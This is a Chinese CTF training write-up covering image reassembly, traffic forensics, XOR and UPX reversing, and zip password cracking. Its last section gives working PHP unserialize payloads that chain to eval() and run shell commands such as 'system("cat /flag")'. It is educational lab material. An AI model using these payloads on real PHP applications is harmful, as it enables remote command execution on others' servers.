Polis_wp 大一下集训

可叹落叶飘零

1713364898233-44a2b52d-0cc9-45f4-9f3e-d5d785e1d392.png

1、先进行修改时间排序照片

2、有100张照片,可以猜一下是520还是1010的拼接方式

3、自己手动拼接后发现是10*10的拼接方式

4、这里其实可以直接手搓出信息

5、科学方法,用chat和python写出拼接代码

6、这里附上python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
from PIL import Image

# 指定图片文件夹路径
folder_path = "D:\\flag\\可叹,落叶飘零"

# 获取文件夹中所有png图片文件的路径
png_files = [os.path.join(folder_path, f) for f in os.listdir(folder_path) if f.endswith('.png')]

# 按照修改日期排序文件列表
png_files.sort(key=lambda x: os.path.getmtime(x))

# 动态计算新的大图片尺寸
total_images = len(png_files)
columns = 10
rows = (total_images + columns - 1) // columns
max_width = max_height = 0

for png_file in png_files:
img = Image.open(png_file)
width, height = img.size
max_width = max(max_width, width)
max_height = max(max_height, height)

result_width = max_width * columns
result_height = max_height * rows

# 创建一个新的大图片
result_image = Image.new("RGB", (result_width, result_height))

# 逐行拼接图片
x_offset = y_offset = 0
for idx, png_file in enumerate(png_files):
img = Image.open(png_file)
result_image.paste(img, (x_offset, y_offset))
x_offset += max_width
if (idx + 1) % columns == 0:
x_offset = 0
y_offset += max_height

# 保存拼接后的图片
result_image.save("result_image.png")

print("图片拼接完成!")

1713365173359-0cc990ef-fe0c-42de-9a9f-0c8698454679.png

7、这里得到信息,文字识别不了,可能因为分辨率太低了,选择手搓

8、不过提交发现并不是flag,所以这里猜测可能进行了base加密

注意:可能会把l看成大I,如果是大I的话会解出乱码,试错后发现是l而不是大I

1713365347507-7e020a07-6f8c-4607-84ff-fdb4a2286bde.png

9、进行解密后得到flag

手搓之神or脚本之神

1、用wireshark打开,按时间顺序进行请求方式的筛选

1713449882159-4259fe5b-8fc1-4574-b533-7be382b68416.png

1713449967995-19d6ee84-4747-4cd8-9f1b-53d5070a256b.png

2、分析数据流,他是在进行sql碰撞得到flag的每一位ascll码,最后一次请求即为碰撞成功的ascll码值
3、转成字母数字得到flag
4、手搓之神有待python代码附上

xor 签到题

1、先将xor放入IDA打开,f5看伪c代码

1713365748702-5b840a8c-f465-4c27-99ab-c21c974590da.png

2、发现他是在跟5进行异或,u代表unsigned int,无符号整数 3、随后写出python的异或代码,得出flag(这里好像不用考虑转义字符,只有一个\)

Plain Text复制代码

1

2

3

4

5

result= ‘cidb~\5pZnk5rZ}56x’

flag= ‘’

for i in range(len(result)):

print(chr((ord(result[i]))^5),end=’’)

1713365851509-4bb923b0-04d9-4327-ad21-f0f010abe55d.png

ez_wireshark_1

1、先打开流量

2、直接明文搜索flag,得到

1714028942516-194b5071-8eb6-43c1-af15-923a496ca719.png

ez_wireshark_2

1、流量里面发现有个被加密的flag.txt

2、跟踪数据流(注意这里不能直接复制,要查看原始数据,发现文件名开头的数据为504b0304),504b0506为结尾,后还有18个字节,本题刚好到最后一个字节为18个1714030177427-04fba69e-5d8c-4084-9c5c-8aa9ab80cb7f.png

3、复制16进制数据放入010中生成zip文件,发现里面有加密的txt文件

1714030324453-41846a08-4080-4afd-9ae0-ab68dfb5176b.png

4、用ARCHPR进行字典解密,得到密钥

1714030531194-ce90d95b-6a39-488f-809e-097b9ef165b4.png

5、输入密钥得到flag

生产流量分析

1、打开流量,根据modbus进行筛选

2、根据modbus数据流发现可疑数据

1714031024584-a61d2452-9089-46e0-9b23-01c827883af2.png

3、手搓下来,进行base32解码得到flag

1714031054876-9476642a-7c11-4127-ae1a-a7e0be767381.png

upx and base 64 change

1、拖入010发现标识符被改,将其改成大写的UPX,在进行脱壳

1715686280504-6a947ce0-265c-4e72-b74b-204d8d1b8586.png

2、放入exeinfo里面进行查壳,packed,32bit

用upx进行脱壳

1715762228635-b627d676-ba94-483c-af87-8eb70cd7aa6e.png

再看一下壳已经消失

1715345844887-2bbeb874-b95d-4b5c-85c2-4ac3adb21071.png

3、直接放32位IDA里面

F5可以先找找main函数,发现密文

1715346268088-adbc470d-48be-4a6c-8fae-5a9a913746a1.png
4、题目提示是base64的变形题,shift F12找到密文和密钥

5、发现两个密钥进行尝试解密,提示词crypto

1715346079436-69c3c2fd-4fad-44f7-aae6-569fd5418367.png

6、

1715346210848-1d15cf5c-be3e-4b4f-8af5-e9521674dfd9.png

1715346143397-2ea98a29-39a0-4dfe-9565-a9eacb5ee7fa.png

1715346113846-7d0a03e2-5199-4bcc-85b4-4365da244c46.png

Unser

ClassObj = new hello(); } function __destruct() { $this->ClassObj->action(); } } class hello { function action() { echo "hello pop "; } } class shell { public $data; function action() { eval($this->data); } } $a = new pop(); @unserialize($_GET['s']); hello pop 这里可以看到 ->eval($this->data); 这里可以看到action()方法可以运行传入的data的代码 由原运行结果可知反序列化之后先执行的是pop-> 所以要让ClassObj为shell类型->再将shell中data的值变为想要的代码 O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:13:"system("ls");";}} 先看看目录 ![1715761658742-691e8693-6a69-4125-ba0b-a11749231d08.png](./img/49277317_nTW8cUcHMkggc1Jt/1715761658742-691e8693-6a69-4125-ba0b-a11749231d08-944603.png) O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:15:"system("ls /");";}} 再看看根目录 找到flag ![1715761691802-127e6304-f286-4520-bd23-3a103507438d.png](./img/49277317_nTW8cUcHMkggc1Jt/1715761691802-127e6304-f286-4520-bd23-3a103507438d-353010.png) 然后就是查看flag的内容了 O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:20:"system("cat /flag");";}} ![1715761767491-2a916546-5286-4ec5-8a11-ad1625ab2343.png](./img/49277317_nTW8cUcHMkggc1Jt/1715761767491-2a916546-5286-4ec5-8a11-ad1625ab2343-015806.png) cat +文件路径即可 > 更新: 2024-05-15 16:48:58 > 原文:

http://example.com/2026/01/19/WP/2024/Polis_wp大一下集训/
Author
chaye
Posted on
January 19, 2026
Licensed under